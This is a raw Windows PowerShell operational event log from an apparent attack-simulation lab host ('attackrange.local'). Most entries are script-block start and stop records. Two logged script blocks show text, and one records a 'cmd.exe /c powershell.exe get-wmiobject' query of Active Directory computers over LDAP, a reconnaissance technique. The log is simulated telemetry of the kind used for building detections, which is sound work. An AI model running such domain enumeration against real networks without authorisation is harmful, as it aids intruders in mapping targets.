Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989316 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989315 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989314 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989313 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989312 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989311 Keywords=None Message=Completed invocation of ScriptBlock ID: e6bef1f9-7898-4f7e-832e-23da6b6567c4 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989310 Keywords=None Message=Completed invocation of ScriptBlock ID: 32889952-f6ec-455f-a3f5-9bef338c5270 Runspace ID: f50cd1cc-6175-4752-80b3-81d227375e15 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989309 Keywords=None Message=Started invocation of ScriptBlock ID: 32889952-f6ec-455f-a3f5-9bef338c5270 Runspace ID: f50cd1cc-6175-4752-80b3-81d227375e15 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989308 Keywords=None Message=Creating Scriptblock text (1 of 1): $global:? ScriptBlock ID: 32889952-f6ec-455f-a3f5-9bef338c5270 Path: 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989307 Keywords=None Message=Completed invocation of ScriptBlock ID: c284dec0-79cf-4eb8-90a6-d52a2904d3f5 Runspace ID: f50cd1cc-6175-4752-80b3-81d227375e15 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989339 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989338 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989337 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989336 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989335 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989334 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989333 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989332 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989331 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989330 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989349 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989348 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989347 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989346 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989345 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989344 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989343 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989342 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989341 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989340 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989359 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989358 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989357 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989356 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989355 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989354 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989353 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989352 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989351 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989350 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989382 Keywords=None Message=Completed invocation of ScriptBlock ID: 7d8d4cf3-30c0-4eeb-8150-05fd9a5499da Runspace ID: bdba0293-4090-4aee-8e66-0b9822fa952f 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989381 Keywords=None Message=Started invocation of ScriptBlock ID: 7d8d4cf3-30c0-4eeb-8150-05fd9a5499da Runspace ID: bdba0293-4090-4aee-8e66-0b9822fa952f 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989380 Keywords=None Message=Started invocation of ScriptBlock ID: 629ae3c7-540e-4ada-817d-4a53724f3b64 Runspace ID: bdba0293-4090-4aee-8e66-0b9822fa952f 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989379 Keywords=None Message=Creating Scriptblock text (1 of 1): get-wmiobject -class ds_computer -namespace root\directory\ldap ScriptBlock ID: 629ae3c7-540e-4ada-817d-4a53724f3b64 Path: 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40962 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Stop RecordNumber=1989378 Keywords=None Message=PowerShell console is ready for user input 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=53504 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Named Pipe IPC OpCode=Open (async) RecordNumber=1989377 Keywords=None Message=Windows PowerShell has started an IPC listening thread on process: 2616 in AppDomain: DefaultAppDomain. 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40961 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Start RecordNumber=1989376 Keywords=None Message=PowerShell console is starting up 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989375 Keywords=None Message=Started invocation of ScriptBlock ID: eddd521e-e711-46ed-b04a-fb50bed99bd0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989374 Keywords=None Message=Creating Scriptblock text (1 of 1): cmd.exe /c powershell.exe get-wmiobject -class ds_computer -namespace root\directory\ldap ScriptBlock ID: eddd521e-e711-46ed-b04a-fb50bed99bd0 Path: 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989373 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989372 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989371 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989370 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989369 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989368 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989367 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM 